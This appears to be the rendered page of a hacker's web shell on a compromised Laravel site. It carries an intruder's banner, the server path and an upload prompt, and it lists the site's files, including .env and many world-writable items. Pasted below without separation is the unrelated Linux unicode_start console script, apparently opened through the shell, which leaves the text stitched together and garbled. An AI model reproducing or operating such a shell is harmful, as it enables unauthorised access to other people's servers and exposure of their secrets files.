I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
.editorconfig276 KBMarch 05 2024 07:12:340666
.env1385 KBMay 24 2024 16:43:550666
.env.example1088 KBMarch 05 2024 07:12:340666
.gitattributes190 KBMarch 05 2024 07:12:340666
.gitignore245 KBMarch 05 2024 07:12:340666
.htaccess947 KBJuly 04 2023 21:25:080664
.rnd1024 KBMarch 13 2024 04:51:140666
README.md472 KBMarch 22 2024 10:35:000666
app-March 05 2024 07:12:340777
artisan1739 KBMarch 05 2024 07:12:340666
bootstrap-March 05 2024 07:12:340777
composer.json2829 KBMay 13 2024 12:10:040666
composer.lock417205 KBMarch 19 2024 12:13:140666
config-July 03 2025 02:53:360777
database-March 05 2024 07:12:340777
index.php1816 KBMay 13 2024 10:32:360666
lang-May 13 2024 14:53:260777
manifest.json913 KBMay 14 2024 03:57:260664
package.json398 KBMarch 05 2024 07:12:340666
phpunit.xml1206 KBMarch 05 2024 07:12:340666
public-July 03 2025 02:37:200777
resources-May 13 2024 12:09:360777
routes-March 05 2024 07:12:340777
service-worker.js924 KBMarch 05 2024 07:12:340666
storage-March 05 2024 10:03:520777
symlink.php218 KBMarch 05 2024 07:12:340666
tests-March 05 2024 07:12:340777
vendor-March 19 2024 12:13:140777
vite.config.js326 KBMarch 05 2024 07:12:340666
#!/bin/sh # 0. Check whether we're on a console TTY="`/usr/bin/tty`" case "$TTY" in /dev/console|/dev/vc*|/dev/tty[0-9]*) ;; *) echo "unicode_start skipped on $TTY" >&2 exit 0 ;; esac # Enables Unicode processing in the current console. # if [ ! -e /proc/self/fd/0 ] ; then echo "Won't set unicode mode: Can't determine console type;" >&2 echo " Please ensure that /proc is mounted." >&2 exit 1 fi readlink /proc/self/fd/0 | grep -q -e /dev/vc -e '/dev/tty[^p]' -e /dev/console if [ $? -eq 1 ]; then echo "Won't set unicode mode: not a VT." >&2 exit 1 fi # 1. The input side: the keyboard driver. # Set the keyboard driver in Unicode mode. (Default is ASCII mode.) # This really does nothing with the way normal keys are handled in # the kernel. All it does is: # - It is necessary for `dumpkeys' in order to not drop U+XXXX # entries from the keymaps. # - It is necessary for `loadkeys' in order to avoid warnings. # - Unicode characters typed as Alt-x1 ... Alt-xn (where x1,...,xn # are digits on the numeric keypad) will be emitted in UTF-8. kbd_mode -u # Change the keyboard mapping in such a way that the non-ASCII keys # produce UTF-8 encoded multibyte sequences, instead of single bytes # >= 0x80 in a legacy 8-bit encoding. # Non-root users are allowed to change the unicode mode of their console, but # not the global keymap. root will have to load the keymap in unicode mode # explicitly. uid="`id -u 2>/dev/null`" ||: if [ "$uid" = '0' ]; then # There is no way of reverting the effect of "dumpkeys | loadkeys --unicode", # the memory of the earlier keymap is lost. Therefore, try # to save a copy of the original keymap to be able to reload it in unicode_stop. # (see also http://mail.nl.linux.org/linux-utf8/2003-08/msg00053.html): [ -n "$HOME" -a "$HOME" != '/' ] || HOME='/root' if [ -d "$HOME" -a -w "$HOME" ]; then [ -d "$HOME/.kbd" ] || mkdir -- "$HOME/.kbd" [ ! -w "$HOME/.kbd" ] || dumpkeys > "$HOME/.kbd/.keymap_sv" fi # redirect stderr and stdout of loadkeys to /dev/null to avoid the confusing # "plus before udiaeresis ignored" warnings. dumpkeys | loadkeys --unicode > /dev/null 2>&1 fi # 2. The output side: the console screen. # Tell the console output driver that the bytes arriving are UTF-8 # encoded multibyte sequences. if [ -t 1 -a -t 2 ]; then printf '\033%%G' fi stty iutf8 # Tell the graphics card how to display Unicode characters not # contained in the IBM 437 character set (on PCs). The font should # have a Unicode map attached, or explicitly specified, e.g., # by giving `def.uni' as a second argument. case "$#" in 2) setfont "$1" -u "$2" ;; 1) setfont "$1" ;; 0) ;; *) echo "usage: unicode_start [font [unicode map]]" ;; esac